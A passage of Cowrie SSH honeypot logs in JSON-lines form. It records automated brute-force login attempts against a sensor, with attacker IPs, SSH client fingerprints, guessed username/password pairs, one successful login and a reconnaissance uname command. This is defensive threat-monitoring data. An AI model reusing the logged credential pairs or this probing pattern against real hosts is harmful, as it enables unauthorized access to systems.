sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:28:56.727933Z","src_ip":"5.196.136.131","session":"42bfe7508ca3","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"123","message":"login attempt [steam/123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:28:56.958660Z","src_ip":"5.196.136.131","session":"42bfe7508ca3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:28:56.961352Z","src_ip":"194.113.233.25","session":"47326538a404","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:28:57.151202Z","src_ip":"5.196.136.131","session":"42bfe7508ca3","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:28:57.153509Z","src_ip":"5.196.136.131","session":"42bfe7508ca3","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:28:57.232752Z","src_ip":"5.196.136.131","session":"42bfe7508ca3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:28:57.236987Z","src_ip":"5.196.136.131","session":"42bfe7508ca3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":50824,"dst_ip":"10.17.0.5","dst_port":22,"session":"4e3f281ecac9","protocol":"ssh","message":"New connection: 5.196.136.131:50824 (10.17.0.5:22) [session: 4e3f281ecac9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:29:01.058261Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:29:01.062689Z","src_ip":"5.196.136.131","session":"4e3f281ecac9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:29:01.139234Z","src_ip":"5.196.136.131","session":"4e3f281ecac9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"home","password":"home","message":"login attempt [home/home] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:29:01.371038Z","src_ip":"5.196.136.131","session":"4e3f281ecac9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:29:02.449778Z","src_ip":"5.196.136.131","session":"4e3f281ecac9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":44745,"dst_ip":"10.17.0.5","dst_port":22,"session":"1fd040c4825d","protocol":"ssh","message":"New connection: 5.196.136.131:44745 (10.17.0.5:22) [session: 1fd040c4825d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:29:05.526288Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:29:05.529689Z","src_ip":"5.196.136.131","session":"1fd040c4825d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:29:05.610935Z","src_ip":"5.196.136.131","session":"1fd040c4825d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lsfadmin","password":"lsfadmin","message":"login attempt [lsfadmin/lsfadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:29:05.861006Z","src_ip":"5.196.136.131","session":"1fd040c4825d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:29:06.945147Z","src_ip":"5.196.136.131","session":"1fd040c4825d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":8756,"dst_ip":"10.17.0.5","dst_port":22,"session":"dac807be9bef","protocol":"ssh","message":"New connection: 5.196.136.131:8756 (10.17.0.5:22) [session: dac807be9bef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:29:10.107510Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:29:10.111542Z","src_ip":"5.196.136.131","session":"dac807be9bef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:29:10.189673Z","src_ip":"5.196.136.131","session":"dac807be9bef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@WSX3edc","message":"login attempt [root/1qaz@WSX3edc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:29:10.424935Z","src_ip":"5.196.136.131","session":"dac807be9bef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:29:11.507044Z","src_ip":"5.196.136.131","session":"dac807be9bef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":31289,"dst_ip":"10.17.0.5","dst_port":22,"session":"a33b950277d0","protocol":"ssh","message":"New connection: 5.196.136.131:31289 (10.17.0.5:22) [session: a33b950277d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:29:14.518022Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:29:14.522233Z","src_ip":"5.196.136.131","session":"a33b950277d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:29:14.608840Z","src_ip":"5.196.136.131","session":"a33b950277d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"support","password":"support","message":"login attempt [support/support] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:29:14.854242Z","src_ip":"5.196.136.131","session":"a33b950277d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"173.236.141.65","src_port":42804,"dst_ip":"10.17.0.5","dst_port":22,"session":"1192df473e0d","protocol":"ssh","message":"New connection: 173.236.141.65:42804 (10.17.0.5:22) [session: 1192df473e0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:29:14.899297Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:29:14.902786Z","src_ip":"173.236.141.65","session":"1192df473e0d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:29:14.915619Z","src_ip":"173.236.141.65","session":"1192df473e0d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"RVN#Tr0ng!P@ss","message":"login attempt [root/RVN#Tr0ng!P@ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:29:14.966290Z","src_ip":"173.236.141.65","session":"1192df473e0d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:29:15.933833Z","src_ip":"5.196.136.131","session":"a33b950277d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:29:15.980997Z","src_ip":"173.236.141.65","session":"1192df473e0d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"88.20.33.146","src_port":55672,"dst_ip":"10.17.0.5","dst_port":22,"session":"abc458dbec40","protocol":"ssh","message":"New connection: 88.20.33.146:55672 (10.17.0.5:22) [session: abc458dbec40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:29:18.804823Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:29:18.808340Z","src_ip":"88.20.33.146","session":"abc458dbec40","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:29:18.923588Z","src_ip":"88.20.33.146","session":"abc458dbec40","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":41890,"dst_ip":"10.17.0.5","dst_port":22,"session":"aa1e33564999","protocol":"ssh","message":"New connection: 5.196.136.131:41890 (10.17.0.5:22) [session: aa1e33564999]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:29:18.931857Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:29:18.935414Z","src_ip":"5.196.136.131","session":"aa1e33564999","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:29:19.012229Z","src_ip":"5.196.136.131","session":"aa1e33564999","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"uftp","password":"uftp","message":"login attempt [uftp/uftp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:29:19.257226Z","src_ip":"5.196.136.131","session":"aa1e33564999","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"unitedstates2023!","message":"login attempt [root/unitedstates2023!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:29:19.260831Z","src_ip":"88.20.33.146","session":"abc458dbec40","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:29:20.336363Z","src_ip":"5.196.136.131","session":"aa1e33564999","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:29:20.375471Z","src_ip":"88.20.33.146","session":"abc458dbec40","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":44684,"dst_ip":"10.17.0.5","dst_port":22,"session":"295552f0a231","protocol":"ssh","message":"New connection: 5.196.136.131:44684 (10.17.0.5:22) [session: 295552f0a231]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:29:23.385793Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:29:23.390252Z","src_ip":"5.196.136.131","session":"295552f0a231","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-s